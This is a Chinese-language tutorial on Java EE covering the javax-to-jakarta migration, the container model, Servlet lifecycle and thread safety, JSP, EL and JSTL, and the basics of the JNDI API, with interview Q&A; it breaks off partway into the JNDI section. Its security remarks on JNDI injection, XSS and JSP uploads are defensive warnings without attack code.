Skip to content

Java EE 总览 ​

Java EE(Java Platform, Enterprise Edition)是 Java 面向企业级应用的一套规范集合。它本身不是产品,而是一批接口标准(JSR)——真正干活的是各家厂商的实现:Tomcat、Jetty、WildFly、WebLogic、WebSphere……理解了「规范 + 容器 + 实现」这三层,Java EE 的每个技术点都能落到同一个框架里去理解。

从 J2EE 到 Jakarta EE ​

名字变过三次,包名也换过,这是老项目升级时最容易踩的坑:

时间名称说明
1999J2EE 1.2Java 2 Platform, Enterprise Edition
2006Java EE 5去掉「2」,大量引入注解,EJB 3.0 大幅简化
2017—Oracle 把 Java EE 捐给 Eclipse 基金会
2018Jakarta EE 8与 Java EE 8 内容一致,仅换名
2019Jakarta EE 9包名 javax.* 迁移到 jakarta.*

包名迁移是硬切换,不是别名:javax.servlet 与 jakarta.servlet 是两个完全不同的类型,不能互相赋值。对应关系是 Tomcat 10+、Spring 6+、Spring Boot 3+ 用 jakarta.*;Tomcat 9 及以下、Spring 5 用 javax.*。升级时先升容器,再升框架,最后改自己的 import。

Java SE / Java EE / Java ME ​

三个版本面向不同规模的运行环境,但 Java EE 建立在 Java SE 之上——它不重复定义语言和基础类库,只在其上叠加企业级能力。

版本定位核心内容
Java SE标准版,桌面与通用应用语言、集合、IO、并发、JVM
Java EE企业版,服务端应用Servlet、JSP、EJB、JMS、JTA……
Java ME微型版,嵌入式设备已被 Android / IoT 平台取代

Java EE 需要 JDK 和 Java SE 的完整支持,反过来则不成立。

核心思想:容器 ​

Java EE 最关键的设计不是某个 API,而是容器(Container)。

开发者只写业务代码,容器负责给它「套上」各种横切能力:

  • 生命周期管理:对象的创建、初始化、销毁由容器驱动,开发者不写 new。
  • 事务管理:声明式事务——打个注解就自动开启/提交/回滚。
  • 安全管理:认证与授权由容器统一拦截。
  • 并发与线程:线程池、并发控制由容器托管。
  • 资源池化:数据库连接、JMS 连接交给容器统一管理。

不同的容器托管不同类型的组件:

容器托管组件代表实现
Web 容器(Servlet 容器)Servlet、Filter、ListenerTomcat、Jetty
EJB 容器Session Bean、MDBWildFly、WebLogic
完整应用服务器上述全部WebLogic、WebSphere

Tomcat 只是 Web 容器,不带 EJB 支持;WebLogic 这类「应用服务器」才是完整实现 Java EE 全规范。这也是为什么早期 Java EE 项目常常和昂贵的商业中间件绑定在一起。

十三项核心技术 ​

Java EE 号称有十三种核心技术。它们分别是:JDBC、JNDI、EJB、RMI、Servlet、JSP、XML、JMS、Java IDL、JTS、JTA、JavaMail 和 JAF。按职责分层看会清晰很多:

层次技术作用
Web 表现层Servlet服务端请求处理的标准入口
Web 表现层JSP以模板方式生成 HTML(本质是 Servlet)
Web 表现层JavaMail、JAF邮件发送与数据类型识别
组件业务层EJB分布式业务组件,带事务与安全
组件业务层RMI、Java IDL远程调用(Java 原生 / CORBA 跨语言)
组件业务层JNDI统一命名与目录访问
数据访问层JDBC数据库访问统一接口
服务与事务JTA、JTS分布式事务的 API 与实现规范
集成与消息JMS面向消息的中间件访问规范
数据描述XML配置与数据交换格式

其中 Servlet、JSP、JDBC 是使用频率最高的三件套,EJB、JMS、JTA 代表 Java EE 最强调的「企业级」能力,JNDI、RMI、JMX 则是支撑这些能力的底层设施。

规范与实现的关系 ​

这是理解 Java EE 最容易被问的一点。

以 Servlet 为例:javax.servlet.Servlet 只是接口,Servlet 规范 规定了这套接口的语义(比如生命周期方法的调用时机、Filter 的执行顺序)。Tomcat 提供实现,并保证:

  • 编译期:你的代码只依赖接口(servlet-api.jar,通常由容器提供,scope=provided)。
  • 运行期:容器按规范调用你的 init / service / destroy。

所以换容器不用改代码——这正是规范存在的意义。

由此可以推出一个实用结论:项目里不该把 servlet-api 打进 war 包(应由容器提供),否则容器版本升级时容易出现类冲突(比如老包带 javax.servlet、新 Tomcat 只认 jakarta.servlet)。

为什么现在很少直接写 Java EE ​

Spring 生态几乎取代了 Java EE 规范在业务代码中的位置,但原因是「写法」而非「能力」:

  • EJB 太重:EJB 2.x 要求组件继承特定基类、实现多个接口,还要写部署描述符,单元测试几乎无法进行。Spring 用 POJO + 注解 + AOP 达到了同样的声明式事务和依赖注入效果。
  • JSP 被前后端分离取代:视图渲染转移到浏览器端,服务端只提供 JSON。
  • 规范演进缓慢:JSR 流程漫长,而 Spring 一年一个新版本。

但规范的思想没有消失,只是换了载体:

Java EE 规范今天对应什么
Servlet 容器仍是 Spring MVC / Spring Boot 的运行基础
JTA 分布式事务Seata、Spring 的 @Transactional
JMSRocketMQ、Kafka 等消息中间件
JNDI配置中心、spring.datasource 绑定
EJB 事务与安全Spring AOP + Spring Security
JAX-RS / JAX-WSSpring Web、gRPC、OpenFeign

面试重点 ​

  1. Java EE 是什么:规范集合,不是产品;「容器 + 组件」是核心思想。
  2. J2EE/Jakarta EE 与 javax/jakarta 包名:升级路径上的高频考点。
  3. Servlet 生命周期与线程安全:单实例多线程是绕不开的问题。
  4. JSP 本质:编译期翻译成 Servlet,所以 JSP 能做的事 Servlet 都能做,反之亦然。
  5. 重定向与转发的区别:发生在客户端还是服务端,是两道完全不同的请求。
  6. EJB 与 Spring 的关系:EJB 太重,Spring 用 POJO + AOP 实现了等价能力。
  7. JNDI 注入:不只是面试题,是真实存在的高危漏洞类型。

本系列文章 ​

以下七篇文章按 Servlet → JSP → JNDI → JMX → RMI → JMS → EJB 的顺序全部收录在本页,直接向下滚动即可阅读,无需跳转。

Servlet ​

Servlet 是 Java EE 中处理 HTTP 请求的标准入口。理解它的关键是一句话:Servlet 是规范里的一个接口,真正调用它的是容器。把这句话拆开,生命周期、线程安全、会话跟踪就都能顺理成章地讲通了。

Servlet 是什么 ​

Servlet 是运行在 Web 容器(Servlet 容器)中的 Java 组件,用于接收 HTTP 请求并生成响应。它不依赖具体的通信协议实现,也不负责网络监听——那些是容器的事。

三者的分工:

  • 规范:定义 Servlet、Filter、Listener 等接口与调用语义。
  • 容器(Tomcat、Jetty):监听端口、解析 HTTP、管理线程池、按规范调用 Servlet。
  • 开发者:只实现业务逻辑,不关心 socket。
java
public interface Servlet {
    void init(ServletConfig config) throws ServletException;
    void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;
    void destroy();
    ServletConfig getServletConfig();
    String getServletInfo();
}

日常开发不直接实现 Servlet,而是继承 HttpServlet——它已经按 HTTP 方法把 service() 分发到 doGet()、doPost() 等方法。

生命周期 ​

容器决定 Servlet 何时被创建、初始化、服务和销毁,共四个阶段:

阶段时机调用次数
加载与实例化首次请求(或容器启动,取决于 load-on-startup)1
初始化 init()实例化之后,服务之前1
服务 service()每次请求N
销毁 destroy()容器关闭或应用卸载1
java
@WebServlet(urlPatterns = "/hello", loadOnStartup = 1)
public class HelloServlet extends HttpServlet {

    @Override
    public void init() {
        // 只执行一次:适合加载配置、初始化连接池
        System.out.println("init once");
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.setContentType("text/plain;charset=UTF-8");
        resp.getWriter().write("hello " + req.getParameter("name"));
    }

    @Override
    public void destroy() {
        // 只执行一次:释放资源
        System.out.println("destroy once");
    }
}

init() 只会被调用一次,且早于任何 service();容器保证 init() 完成前不会把请求交给该 Servlet。因此 init() 里做的一次性初始化天然是线程安全的,而 service() 里对成员变量的写操作不是。

loadOnStartup 决定初始化时机:值为非负整数表示容器启动时就加载(值越小优先级越高),不配置则首次访问才加载——这会让第一个请求承担初始化开销。

线程安全 ​

Servlet 的线程模型是面试必问,结论也很简单:容器只会创建该 Servlet 的一个实例,所有请求由线程池中的不同线程并发调用同一个实例的 service()。

由此推出:

  • 局部变量安全:每个线程自己的栈,天然隔离。
  • 成员变量危险:多个线程共享,没有同步就会出问题。
  • 容器对象安全:HttpServletRequest / HttpServletResponse 是每个请求独立的,可放心读写。
java
public class CounterServlet extends HttpServlet {
    // 危险:并发自增会丢更新
    private int count = 0;

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        count++;                    // 非原子操作,结果不可预期
        resp.getWriter().write("count=" + count);
    }
}

正确的几种写法:

  • 首选:不定义可变成员变量,状态放到方法参数或 request 作用域。
  • 需要共享:用 AtomicInteger、ConcurrentHashMap 等并发容器,而非裸变量。
  • 确实要加锁:缩小同步范围,避免用 synchronized 修饰 doGet——那会把并发请求串行化,等于放弃了 Servlet 的并发能力。
  • 特例:实现 SingleThreadModel 可以让容器串行化请求,但它已被标记为废弃——性能损失大且不能真正解决共享状态问题。

SingleThreadModel 是典型的历史包袱:容器可能为它维护实例池,一个请求一个实例,内存和创建开销都显著上升,也无法阻止对 ServletContext 等跨实例共享资源的并发访问。看到老代码里用它,正确做法是重构掉。

请求与响应 ​

HttpServletRequest 的常用能力按来源分三类:

java
// 请求行与协议信息
req.getMethod();         // GET / POST
req.getRequestURI();     // /app/user/list(不含协议主机端口)
req.getQueryString();    // id=1&name=jy
req.getContextPath();    // /app(应用部署路径)
req.getServletPath();    // /user

// 请求头
req.getHeader("User-Agent");
req.getContentType();

// 参数与属性
req.getParameter("id");              // 查询串或表单体
req.getParameterValues("tag");       // 多值
req.setAttribute("user", user);      // 仅在服务端内部传递,客户端不可见

区分 getParameter() 与 getAttribute():前者读客户端传来的数据,后者在服务端组件之间传递对象。转发能带上属性,重定向不能——因为重定向是让浏览器发一个新请求。

HttpServletResponse 用来写回结果。有几个顺序陷阱要注意:

  • setContentType() / setCharacterEncoding() 必须在 getWriter() 之前调用,否则会被忽略,中文就会乱码。
  • 响应一旦提交(缓冲区刷出),后续的头设置与 sendRedirect() 都会抛 IllegalStateException。

转发与重定向 ​

这是高频面试题,差别可以归结为「服务端跳转」还是「客户端跳转」:

维度转发 forward重定向 redirect
发起方服务端内部服务端告诉浏览器
请求次数1 次2 次
地址栏不变变为新地址
request 属性保留丢失
能否跨域不能(仅本应用)可以
状态码无(内部机制)302 / 301
java
// 转发:同一个请求,路径不变
req.getRequestDispatcher("/WEB-INF/result.jsp").forward(req, resp);

// 重定向:浏览器发起新请求,路径变化
resp.sendRedirect(req.getContextPath() + "/login");

选择标准很简单:跳转后需要保留请求数据、且不改变用户看到的 URL(比如表单提交后展示结果页),用转发;需要换 URL、防止刷新重复提交(PRG 模式)、或者跳到其他应用,用重定向。

重定向要带 contextPath,否则会跳到域名根路径而不是当前应用下。这是部署到非根路径(如 /app)时最常见的 404 来源。

Filter 与 Listener ​

除了 Servlet 本身,容器还托管另外两类组件。

Filter(过滤器):在请求到达 Servlet 之前、响应返回客户端之前插入处理逻辑,多个 Filter 组成链式调用。

java
@WebFilter(urlPatterns = "/*")
public class AuthFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        if (req.getSession().getAttribute("user") == null) {
            ((HttpServletResponse) response).sendRedirect(req.getContextPath() + "/login");
            return;                       // 不放行,请求到此为止
        }
        chain.doFilter(request, response); // 放行到下一个 Filter / Servlet
    }
}

典型用途:字符编码统一处理、权限校验、日志、跨域头、请求体包装。Filter 对所有匹配的请求生效,比在每个 Servlet 里重复判断合理得多。

Listener(监听器):监听容器或会话的生命周期事件,常用于初始化和资源清理。

java
public class StartupListener implements ServletContextListener {
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        // 应用启动:加载全局配置
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        // 应用关闭:释放线程池、连接池
    }
}

Filter 与 Spring 的 Interceptor 容易混淆:Filter 属于 Servlet 规范,由容器调用,早于 DispatcherServlet;Interceptor 属于 Spring MVC,由 DispatcherServlet 调用,在 Handler 之前。所以 Filter 拿不到 Spring 的 HandlerMethod,也无法直接使用注入的 Bean(除非用 DelegatingFilterProxy)。

会话跟踪 ​

HTTP 是无状态的协议,服务端要「记住」用户,必须在多次请求之间关联同一个客户端。可用的手段有四类:

方式存储位置生命周期说明
Cookie客户端可设 maxAge明文可见,容量约 4KB
Session服务端默认 30 分钟不活动客户端只保存 JSESSIONID
URL 重写URL 上同 Sessionjsessionid 追加在地址后,兜底方案
隐藏表单域页面单次请求仅适合单步流程

Cookie 是客户端存储,服务端通过响应头下发:

java
Cookie cookie = new Cookie("theme", "dark");
cookie.setMaxAge(7 * 24 * 3600);   // 秒;0 表示删除,负数表示仅当前会话
cookie.setHttpOnly(true);          // 禁止 JS 读取,防 XSS 窃取
cookie.setSecure(true);            // 仅 HTTPS 传输
cookie.setPath("/");
resp.addCookie(cookie);

Session 是服务端存储,客户端只持有一个会话 ID:

java
HttpSession session = req.getSession();          // 不存在则创建
session.setAttribute("user", user);              // 存入
Object user = session.getAttribute("user");      // 读取
session.invalidate();                            // 注销时销毁

容器默认的会话跟踪方式是 Cookie(JSESSIONID)。如果禁用 Cookie,就只能退化成 URL 重写,会话 ID 会出现在地址栏、浏览器历史和日志里,泄露风险显著上升。所以生产环境应确保 Cookie 可用,并给会话 Cookie 加上 HttpOnly 与 Secure。

Session 失效的三种情形:超过 session-timeout 不活动、显式调用 invalidate()、应用被卸载。

分布式环境下 Session 不共享是常见故障:用户在第一台机器登录,第二次请求被负载均衡打到第二台机器就「掉登录」。解决方案按代价从低到高是:会话粘滞(sticky session,简单但不均衡)、Session 复制(机器间同步,适合小集群)、集中式存储(Redis 保存 Session,最常用)、无状态 Token(JWT,服务端不存会话)。

一个完整的部署描述 ​

Servlet 3.0 起可以用注解声明,不再强制写 web.xml。但当需要更细的控制(Filter 顺序、多环境配置)时,web.xml 仍然有用:

xml
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>com.example.HelloServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>

  <session-config>
    <session-timeout>30</session-timeout>
    <cookie-config><http-only>true</http-only></cookie-config>
  </session-config>
</web-app>

注解与 web.xml 同时存在时,配置会合并而不是覆盖:web.xml 中同名 servlet-name 的 init-param 会覆盖注解,但注解声明的 url-pattern 也不会被清掉——所以同一路径可能映射到两处。排查「请求进了意料之外的 Servlet」时,先确认两处配置是否冲突。

单实例与多线程也带来了一个重要约束:ServletRequest 及其流不能被另起线程异步读取(Servlet 3.1 的异步 Servlet 除外),标准 getInputStream() 与 getReader() 也互斥,只能选其一。

与 Spring MVC 的关系 ​

Spring MVC 并非取代 Servlet,而是在 Servlet 之上做了一层分发:

text
浏览器 → Tomcat(Connector) → FilterChain → DispatcherServlet(一个 Servlet)
                                              ↓ 按 HandlerMapping 找 Controller
                                            Controller → Service → DAO

DispatcherServlet 本身就是一个注册在 / 上的 Servlet,由它统一接住所有请求,再按注解路由分发给 @Controller。这也解释了两个常见现象:

  • Spring MVC 项目里 doGet() 这类方法不再需要写——请求处理被注解方法取代了。
  • 内置 Tomcat 的 Spring Boot 应用,本质上仍然是「Servlet 容器 + 若干 Servlet」。

面试问答 ​

Servlet 是线程安全的吗? ​

不是。容器只创建一个实例,多个请求线程并发调用同一个实例的 service()。方法内的局部变量与每个请求独立的 HttpServletRequest 是安全的,但 Servlet 的成员变量是所有线程共享的。所以不要把可变的用户数据放在成员变量上,需要用并发容器或同步。

为什么 Servlet 不设计成多实例? ​

单实例既省内存又避免反复初始化,配合线程池可以达到最高的吞吐。多实例(如 SingleThreadModel 那样的思路)会把并发压力转化成实例创建与内存开销,并不可取。Servlet 的并发来自「容器线程池 + 无共享状态的单实例」这个组合。

转发和重定向的区别,各用在什么场景? ​

转发是服务端内部跳转,一次请求、地址栏不变、request 属性保留;重定向是让浏览器重新发请求,两次请求、地址栏变化、属性丢失。转发用于「同一请求内继续处理」(如表单校验失败回显),重定向用于「换 URL 防重复提交(PRG)」与跨应用跳转。

Session 存在服务端,客户端只保存会话 ID(默认放在名为 JSESSIONID 的 Cookie 里)。Cookie 是 Session 的默认载体,但不是唯一载体。Cookie 是客户端可见可改的,Session 数据在服务端、相对安全,但 Session 不天然支持分布式,需要额外方案(Redis 集中存储等)解决共享问题。

Filter 和 Interceptor 有什么区别? ​

Filter 属于 Servlet 规范,由容器在进入 Servlet 前调用,作用于所有请求(包括静态资源),能拿到 ServletRequest;Interceptor 属于 Spring MVC,由 DispatcherServlet 调用,能访问 HandlerMethod 与 Spring 容器中的 Bean,且能在 Handler 执行前后、视图渲染后介入。需要 Spring 上下文时用 Interceptor,需要更早、更全局地拦截时用 Filter。

如何防止表单重复提交? ​

服务端生成一次性 token 存入 Session 并写入表单隐藏域,提交时校验并立即失效该 token;同时提交成功后用重定向(PRG 模式)避免用户刷新重放 POST;对关键接口再叠加幂等设计(唯一业务键 + 数据库唯一索引)。前两条解决「用户误操作」,最后一条才能防住真正的重复请求。

JSP ​

JSP(JavaServer Pages)看起来是一门「在 HTML 里写 Java」的模板语言,实际上它只是 Servlet 的一层语法糖:容器会把 JSP 文件翻译成一个 Servlet 源文件,再编译成 class 执行。抓住这条主线,九大内置对象、四大作用域这些看似零散的知识点就都有了解释。

本质:JSP 就是 Servlet ​

用户访问 hello.jsp 时,容器内部的完整过程是:

  1. 翻译:把 .jsp 转成 hello_jsp.java(一个继承 HttpJspBase 的类,而 HttpJspBase 又实现了 Servlet)。
  2. 编译:把 .java 编译成 .class。
  3. 加载与初始化:与普通 Servlet 一样,jspInit() 只执行一次。
  4. 服务:每次请求执行 _jspService()。
  5. 销毁:应用卸载时执行 jspDestroy()。

所以 JSP 与 Servlet 的能力完全相同,区别只在「谁更适合写什么」:

维度ServletJSP
适合输出少量、二进制、纯 JSON大量 HTML 模板
写法Java 里拼 HTMLHTML 里嵌 Java
生命周期方法init / service / destroyjspInit / _jspService / jspDestroy
本质—编译后就是 Servlet

翻译后的源文件可以在容器的 work 目录里找到,例如 Tomcat 的 work/Catalina/localhost/应用名/org/apache/jsp/。出问题(如编译报错、行号对不上)时,直接看这个生成的文件是最快的排查方式。

为什么 JSP 会被淘汰 ​

  • 职责混乱:JSP 把视图和逻辑混在一起,稍不注意就写出「页面里连数据库」的代码。
  • 前后端分离:视图渲染转移到浏览器,服务端只返回 JSON,模板引擎的需求消失了。
  • 工程效率:JSP 的调试、热部署、国际化体验都不如现代前端工具链。
  • 规范停滞:JSP 本身已不再演进。

JSP 是服务端能力,一旦被用户上传/写入,等同直接拿到服务器权限。所以生产环境有两条硬约束:JSP 文件放在 WEB-INF 下(外部不可直接访问),并且**绝不允许用户上传的文件落在能被解析为 JSP 的目录里**——这是许多上传漏洞的成因。

九大内置对象 ​

JSP 能直接用 request、session 这些变量,是因为翻译时容器已经在 _jspService() 里声明好了。九个对象中前四个是作用域对象(作用范围由小到大),后五个是功能对象:

  • pageContext(PageContext):page 作用域;唯一能访问其他作用域的入口
  • request(HttpServletRequest):request 作用域,一次请求(转发仍在)
  • session(HttpSession):session 作用域,一次会话
  • application(ServletContext):application 作用域,整个应用
  • out(JspWriter):输出内容到客户端
  • response(HttpServletResponse):设置响应头、状态码
  • config(ServletConfig):读取初始化参数
  • exception(Throwable):仅在错误页可用(页面标记 isErrorPage)
  • page(Object):当前页面实例,等价于 this
jsp
<%
    pageContext.setAttribute("a", "page 级");
    request.setAttribute("b", "request 级");
    session.setAttribute("c", "session 级");
    application.setAttribute("d", "application 级");
    // 查找顺序:page → request → session → application
    out.println(pageContext.findAttribute("b"));
%>

pageContext 是唯一能访问其他三个作用域的入口(getRequest()、getSession()、getServletContext()),也是 JSP 里获取「当前页面上下文」的统一抽象。EL 表达式的属性查找顺序就是上面这条链。

四大作用域的选择 ​

作用域用错会直接导致两类问题:数据串号(作用域太大)或数据拿不到(作用域太小)。

  • page:页面内部临时变量,出了当前页面就没了。
  • request:一次请求链路内的数据传递,转发时最常用。请求结束即销毁。
  • session:与某个用户绑定的状态,如登录信息、购物车。注意敏感数据不要放这里,且要控制超时时间。
  • application:全局共享,如配置、缓存、访问计数器。多线程并发访问,必须考虑线程安全。

指令、脚本与动作 ​

三种指令(<%@ %>,作用于翻译阶段):

jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" errorPage="/error.jsp" %>
<%@ page import="java.util.List, com.example.User" %>
<%@ include file="header.jsp" %>          <%-- 静态包含:翻译期合并到一个文件 --%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

区分两种包含是高频考点:

静态包含 <%@ include %>动态包含 <jsp:include />
发生时机翻译期运行期
生成文件数1(合并后)多个(各自独立编译)
变量共享共享(同一作用域)不共享(通过 request 传参)
效率高(只编译一次)略低(每次请求调用)

三种脚本元素(<% %> / <%= %> / <%! %>):

jsp
<%-- 注释:翻译期丢弃,不会出现在响应里 --%>
<%! int count = 0; %>                       <%-- 声明:编译成类的成员变量,全局共享,危险 --%>
<%  int local = 1; %>                       <%-- 脚本片段:编译进 _jspService --%>
<%= local + count %>                        <%-- 表达式:等价于 out.print(...) --%>

<%! %> 声明的变量是 Servlet 的成员变量,所有请求线程共享,与 Servlet 的线程安全问题同源。JSP 里出现 <%! %> 基本就是代码异味,应该改成局部变量或干脆把逻辑移到 Servlet / Controller。

动作标签(<jsp:xxx>,作用于运行期):

jsp
<jsp:include page="footer.jsp" />                    <%-- 动态包含 --%>
<jsp:forward page="/result.jsp" />                    <%-- 转发 --%>
<jsp:useBean id="user" class="com.example.User" scope="request" />
<jsp:setProperty name="user" property="name" value="jy" />
<jsp:getProperty name="user" property="name" />

EL 表达式 ​

EL(Expression Language)用来替代 <%= %>,让页面里不再出现 Java 代码片段:

jsp
${user.name}                              <%-- 属性访问 --%>
${user["name"]}                           <%-- 等价写法,key 含特殊字符时用 --%>
${list[0]}                                <%-- 集合索引 --%>
${empty cart}                             <%-- null 或空集合都为 true --%>
${not empty cart} ${cart != null}
${a > b ? "大" : "小"}
${pageContext.request.contextPath}         <%-- 取当前应用路径 --%>

EL 的两条关键规则:

  • 属性查找顺序:page → request → session → application,命中即返回。
  • null 不报错:${user.address.city} 中若 address 为 null,结果就是空字符串,而不是 NPE——这是 EL 比脚本片段更安全的地方。
jsp
<%-- 取不到时给默认值 --%>
${empty user.nickname ? "游客" : user.nickname}

EL 访问属性走的是 getXxx() 而不是字段,所以 ${user.name} 实际调用 getName()。字段名与 getter 不一致(如 getName() 返回 name 但字段叫 username)时,要以 getter 为准——这是「明明有值却取不到」的常见原因。

JSTL 标签库 ​

JSTL 提供流程控制与格式化标签,让 JSP 彻底摆脱脚本片段:

jsp
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>

<c:if test="${empty sessionScope.user}">
    <a href="${pageContext.request.contextPath}/login">请登录</a>
</c:if>

<c:choose>
    <c:when test="${user.level == 1}">管理员</c:when>
    <c:when test="${user.level == 2}">编辑</c:when>
    <c:otherwise>普通用户</c:otherwise>
</c:choose>

<ul>
    <c:forEach items="${users}" var="u" varStatus="st">
        <li>${st.index} - ${u.name}</li>
    </c:forEach>
</ul>

<fmt:formatDate value="${user.createTime}" pattern="yyyy-MM-dd HH:mm:ss" />

JSTL 的五个标签库:core(流程控制)、fmt(格式化与国际化)、fn(字符串函数)、sql(数据库操作,生产环境禁用)、xml(XML 处理,很少用)。

<c:out> 与 ${} 的转义行为不同:<c:out value="${input}" /> 默认转义 HTML,而 ${input} 直接输出。用户可控内容必须走 <c:out> 或 <c:out> 的 escapeXml="true",否则就是 XSS 漏洞。

三层架构中的位置 ​

JSP 时代最主流的组织方式是 MVC + 三层架构:

text
浏览器 → Servlet(控制器) → Service(业务) → DAO(数据) → DB
                ↓ 转发并携带 request 属性
              JSP(视图):只负责展示,不写业务逻辑

对应的项目目录:

text
src/main/java/com/example/       # 控制器、Service、DAO
src/main/webapp/
├── WEB-INF/
│   ├── web.xml
│   └── views/                   # JSP 放在 WEB-INF 下,禁止外部直接访问
│       └── user/list.jsp
├── static/                      # CSS / JS / 图片
└── index.jsp
java
// 控制器:查数据 → 存 request → 转发到视图
List<User> users = userService.list();
req.setAttribute("users", users);
req.getRequestDispatcher("/WEB-INF/views/user/list.jsp").forward(req, resp);

JSP 放在 WEB-INF 下有两个好处:外部无法通过 URL 直接访问(必须经控制器转发),且 URL 里不会暴露 .jsp 后缀。这是「只有经过控制器才能看到页面」的简单实现,也让权限校验无法被绕过。

现代替代方案 ​

方案说明现状
Thymeleaf纯 HTML 模板,可静态预览,Spring 官方推荐服务端渲染的主流选择
Freemarker老牌模板引擎,性能好仍有存量项目
JSP编译器与 IDE 支持仍最成熟存量维护
前后端分离服务端只出 JSON,Vue/React 渲染新项目主流

迁移时有一条实用原则:新项目不要再引入 JSP,存量项目只在必须改动时局部替换,不值得为了「技术新」做全量重写。

面试问答 ​

JSP 和 Servlet 的关系是什么? ​

JSP 编译后就是 Servlet:容器先把 .jsp 翻译成继承 HttpJspBase 的 Java 类,再编译加载,生命周期与普通 Servlet 一致(jspInit → _jspService → jspDestroy)。两者能力等价,区别只在适用场景——JSP 适合输出大段 HTML,Servlet 适合处理逻辑与输出少量数据。

JSP 有哪九大内置对象,哪些是作用域对象? ​

作用域对象四个:pageContext(page)、request(request)、session(session)、application(application);功能对象五个:out、response、config、exception、page。它们都是容器在 _jspService() 里预先声明的局部变量,所以能直接使用而无需声明。

静态包含和动态包含的区别? ​

<%@ include %> 在翻译期把文件内容合并进同一个生成文件,最终只有一个 Servlet,变量共享;<jsp:include /> 在运行期调用另一个页面的输出并插入,各自独立编译,通过 request 传参。前者更快,后者更灵活(可以包含动态页面名)。

<%@ page %>、<%! %>、<% %>、<%= %> 分别是什么? ​

<%@ page %> 是指令,在翻译期影响生成文件的属性(如 import、errorPage);<%! %> 是声明语句,编译成类的成员变量或方法;<% %> 是脚本片段,编译进 _jspService() 方法体;<%= %> 是表达式,等价于 out.print()。后两者在方法内,<%! %> 在方法外,这是它们线程安全表现不同的根源。

EL 表达式取不到值怎么办? ​

按顺序排查:① 属性名是否与 getter 对应(EL 走 getter 而非字段);② 对象是否真的存在目标作用域里(page → request → session → application 依次查找,可以用 ${sessionScope.user} 显式限定作用域缩小范围);③ 是否缺少 isELIgnored="false" 或 JSP 版本过低;④ 集合/Map 的取值方式是否用对(${map["key"]} 而非 ${map.key})。

为什么线上 JSP 要放在 WEB-INF 下? ​

放在 WEB-INF 之外时,/views/list.jsp 这类路径可以被浏览器直接请求,绕过控制器的权限校验和数据准备,既可能越权看到内容,也可能因缺少必要数据而报错甚至泄露堆栈。放进 WEB-INF 后只能通过 RequestDispatcher 转发访问,访问入口收敛到控制器一处。

JNDI ​

JNDI(Java Naming and Directory Interface)解决的是一个很朴素的问题:代码不应该硬编码资源的物理位置。数据库在哪台机器、LDAP 服务器地址是什么、EJB 远程对象怎么找——这些都交给一个统一的名字去指代,由容器在运行时解析。它是 Java EE 里最底层的基础设施之一,也是近年真实爆发过的高危漏洞(JNDI 注入)的载体。

命名服务与目录服务 ​

先区分两个概念,它们是 JNDI 名字里两半的来源:

  • 命名服务(Naming):把名字映射到对象,只支持「按名字查对象」这一种操作,类似一个只读的 Map。例:DNS(域名 → IP)、文件系统(路径 → 文件)。
  • 目录服务(Directory):是命名服务的增强,对象带属性,因此支持按属性检索。例:LDAP、Active Directory。
text
命名服务:  name              → object
目录服务:  name + attributes → object      (可按属性搜索)

JNDI 同时支持两者:Context 接口负责命名操作,DirContext 在其上增加属性的读写与搜索。

接口能力典型实现
Context绑定、查找、解绑、子上下文RMI、DNS、文件系统
DirContext继承 Context,增加属性与搜索LDAP
InitialContext查找的入口,按环境参数选择 SPI全部

架构:API + SPI ​

JNDI 的设计是典型的「接口与实现分离」,理解这一点才能解释它为什么既能查 DNS 又能查 LDAP:

  • JNDI API:javax.naming 包,应用程序面向它编程(Context.lookup())。
  • JNDI SPI(Service Provider Interface):服务提供者实现的适配层。各厂商提供 SPI 实现,JNDI 通过工厂类把它们接进来。
  • JNDI Provider:具体实现,如 com.sun.jndi.ldap.LdapCtxFactory、com.sun.jndi.rmi.registry.RegistryContextFactory、com.sun.jndi.dns.DnsContextFactory。
text
应用代码 → JNDI API(Context) → 命名的 SPI 实现 → 具体服务(DNS/LDAP/RMI/...)

好处是应用代码只依赖 Context 接口,换后端服务不需要改动。

「用哪个实现」由查找时提供的环境参数决定:URL 的 scheme(如 ldap://、rmi://、dns://)会匹配对应的 SPI 工厂。这正是 JNDI 注入能够成立的根本原因——名字本身可以携带协议,而协议决定会发起什么网络请求。

基本 API ​

java
// 1. 构建环境参数,可以指定工厂与提供者地址
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389");
env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=com");
env.put(Context.SECURITY_CREDENTIALS, "password");

// 2. 获取初始上下文
Context ctx = new InitialContext(env);

// 3. 查找
Object obj = ctx.lookup("cn=jy,ou=users,dc=example,dc=com");

// 4. 用完关闭
ctx.close();

四个核心操作:bind(绑定名字与对象)、lookup(按名字取对象)、rebind(覆盖绑定)、unbind(解绑)。名字支持层级结构,子上下文可以用 ctx.lookup("a/b/c") 或 ctx.createSubcontext("a") 逐级访问。

查找 DNS 与文件系统也是同一套 API:

java
// DNS:读一条 MX 记录
Hashtable<String, String> dnsEnv = new Hashtable<>();
dnsEnv.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
DirContext dns = new InitialDirContext(dnsEnv);
Attributes attrs = dns.getAttributes("example.com", new String[] { "MX" });

// 文件系统:路径即名字
Context fs = new InitialContext();
Object file = fs.lookup("file:///tmp/a.txt");

在 Java EE 中的作用 ​

